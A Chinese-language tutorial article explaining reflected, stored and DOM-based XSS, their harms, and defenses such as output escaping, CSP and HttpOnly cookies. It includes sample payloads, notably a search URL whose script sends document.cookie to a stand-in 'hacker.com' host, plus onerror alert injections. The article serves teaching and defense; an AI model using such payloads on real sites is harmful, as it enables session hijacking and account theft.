XSS攻击与防御：当你的浏览器变成了恶搞玩具

📚 XSS定义

跨站脚本攻击（Cross-Site Scripting, XSS）
根据OWASP（开放式Web应用安全项目）的定义：

XSS攻击发生在当恶意脚本被注入到可信网站中，并在用户浏览器执行时。攻击者可借此绕过同源策略，窃取会话令牌、篡改网页内容或进行其他恶意操作。（由于要跟CSS做区分，所以命名为XSS）

核心本质：通过用户输入点，将恶意代码混入合法网页。。

---

🔍 XSS攻击类型与攻击流程

1. 反射型XSS（Reflected XSS）

定义：恶意脚本来源于当前HTTP请求，服务器未过滤直接返回给客户端。

攻击图解：

攻击流程：

1. 😈(A-B)黑客构造一个带恶意代码的URL（如通过邮件/社交平台传播）
2. 😇(C-D)用户点击URL，请求发送至服务器
3. 🕸(E)服务器将未处理的恶意代码嵌入响应页面
4. 💻(F)用户浏览器执行代码
5. 😈(G)黑客做下一步攻击准备

案例：

# 恶意URL示例（搜索功能未过滤）：
https://target.com/search?q=<script>fetch('https://hacker.com/steal?cookie='+document.cookie&?desc='偷你cookie🍪')</script>

用户点击后，浏览器将自动发送当前站点的Cookie到攻击者服务器。

---

2. 存储型XSS（Stored XSS）

定义：恶意脚本被永久存储在服务器（如数据库、评论、用户资料），所有访问相关页面的用户都会触发。

攻击图解：

攻击流程：

1. 😈(A)提交带恶意代码的内容到服务器（如网站个人简介/论坛发帖）
2. 🗄(B-C)服务器存到数据库
3. 😇(D)其他用户访问包含该内容的页面
4. 💻(E)恶意脚本在受害者浏览器自动执行

案例：

<!-- 相亲网站个人简介栏数据未过滤 -->
"我是吴彦祖<img src=x onerror="alert('不好意思，我是鬼眼杨间')">"

所有查看该简介的用户都会触发灵异攻击，堪称"灵异攻击侵入现实" 💘

---

3. DOM型XSS（DOM-based XSS）

定义：恶意代码的触发完全在客户端完成，无需与服务器交互。由前端JavaScript直接操作DOM时未过滤输入导致。

攻击图解：

假装有图

攻击流程：

1. 😇用户输入数据用户访问含漏洞的页面（如通过URL参数传递数据）
2. 🌳前端JavaScript读取URL参数并直接操作DOM
3. 💻恶意代码被动态插入页面并执行

案例：

// 从URL中读取参数并直接写入页面
const userInput = window.location.hash.substring(1);
document.getElementById("output").innerHTML = userInput;

访问https://example.com#<img src=x onerror=alert(1)>将触发攻击。

---

🐓攻击危害

XSS 攻击带来的危害多种多样，严重威胁着网络安全和用户权益。

🐱‍👤盗取账号

攻击者可以利用 XSS 漏洞注入恶意脚本，获取用户的登录凭证，如 Cookie 信息等。一旦攻击者获取到用户的 Cookie，就可以在其他设备上模拟用户登录，从而盗取各类用户账号，包括但不限于社交账号、网银账号、管理员账号等。例如，通过诱导用户点击包含恶意脚本的链接，恶意脚本在用户浏览器中执行，获取用户的 Cookie 并发送到攻击者的服务器。

👀窃取隐私

XSS 攻击可以窃取用户的隐私信息。恶意脚本能够获取用户的浏览历史、真实 IP、开放端口等信息，严重侵犯用户的隐私权。此外，攻击者还可以利用恶意脚本窃取用户的个人敏感信息，如身份证号码、电话号码、家庭住址等。

🛠劫持流量

攻击者可以通过 XSS 攻击劫持用户的流量，实现恶意跳转。例如，在网页中插入恶意脚本，当用户访问被攻击的网页时，就会被重定向到恶意网站。这样，攻击者可以获取流量收益，或者进行钓鱼攻击等。

🐎挂马攻击

XSS 攻击还可以用于网站挂马。攻击者在被攻击的网页中插入恶意脚本，引导用户下载并安装恶意软件，如木马程序等。一旦用户的设备被感染，攻击者就可以控制用户的设备，窃取用户的敏感信息，或者进行其他恶意操作。

💴非法转账

如果在用户的支付界面植入一段恶意脚本，自动填写收款人和金额并提交，就能完成转账。例如，攻击者可以构造一个包含恶意脚本的链接，诱导用户点击，当用户访问支付页面时，恶意脚本自动执行转账操作。

📧强制发送电子邮件

恶意脚本可以强制用户的浏览器发送电子邮件，给用户带来骚扰和安全风险。攻击者可以利用用户的邮箱账号发送垃圾邮件、钓鱼邮件等，进一步扩大攻击范围。

📕进行大量的客户端攻击

如 DDoS 攻击，攻击者可以利用 XSS 漏洞控制大量用户的浏览器，发起分布式拒绝服务攻击，使目标网站无法正常服务。

🙅‍结合其他漏洞，实施进一步作恶

XSS 攻击可以与 CSRF 漏洞结合，实施更加复杂的攻击。例如，攻击者利用 XSS 漏洞获取用户的 Cookie，然后结合 CSRF 漏洞，盗用用户身份发送恶意请求，进行非法操作。

🎟提升用户权限，进一步渗透网站

攻击者可以利用 XSS 漏洞提升用户权限，包括进一步渗透网站。例如，通过注入恶意脚本，获取管理员权限，从而对网站进行更深入的攻击和破坏。

🛡️ XSS防御机制（官方推荐方案）

1. 输入验证与过滤：对用户输入进行严格的白名单验证（如长度、格式、字符类型）

// 把 <script> 变成人畜无害的文本
function sanitize(input) {
  return input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
// 用户输入：<script>alert(1)</script>
// 输出后：&lt;script&gt;alert(1)&lt;/script&gt;

2. 输出转义

• 技术规范：根据输出位置使用不同编码规则

  输出场景	编码方法
  HTML Body	转义 < > & ' " → &lt; &gt; &amp; &apos; &quot;
  HTML Attribute	转义 " ' → &quot; &apos;
  JavaScript	使用 \uXXXX Unicode转义

3. CSP（内容安全策略）：雇保镖检查包裹

在HTTP头设置：

Content-Security-Policy: script-src 'self' 只允许本站脚本

这样即使有<script>标签，浏览器也会拒绝加载外部恶意脚本！

更详细配置参考：developer.mozilla.org/zh-CN/docs/…

4. HttpOnly Cookies：给Cookie上锁

设置Cookie时添加HttpOnly标志，让JS无法读取：

Set-Cookie: session_id=12345; HttpOnly; Secure

5. 现代框架防护

• React/Vue/Angular：默认自动转义插值表达式（比如React自动转义变量，Vue的v-bind会自动过滤，就像给数据穿上了防化服 🥽）

  // React自动转义
  <div>{userInput}</div>  // 输入<script>会变为文本显示
  

---

📊 XSS攻击与防御流程图解

        攻击者
          ↓
构造恶意输入（URL/表单/参数）
          ↓
  服务器未过滤 → 存储/反射至页面
          ↓              ↗ 防御点①输入过滤
用户访问含恶意代码的页面
          ↓              ↗ 防御点②输出编码
浏览器解析并执行恶意脚本
          ↓              ↗ 防御点③CSP拦截
窃取数据/钓鱼/劫持会话

---

🐷 防御手段对比表

防御手段	相当于...	防御力
输入验证	海关安检	★★★☆
输出转义	给毒药换包装	★★★★
CSP策略	雇佣武装保镖	★★★★☆
HttpOnly	保险箱焊死	★★★☆
前端框架防护	自带防毒面具	★★★★

🎯 总结要点

1. XSS本质：利用网站对用户输入的信任，注入可执行代码

2. 核心防御：

   • 不信任任何用户输入
   • 数据与代码分离（避免将输入直接作为代码解析）

3. 进阶防护：启用CSP、定期渗透测试、使用安全扫描工具（如Burp Suite）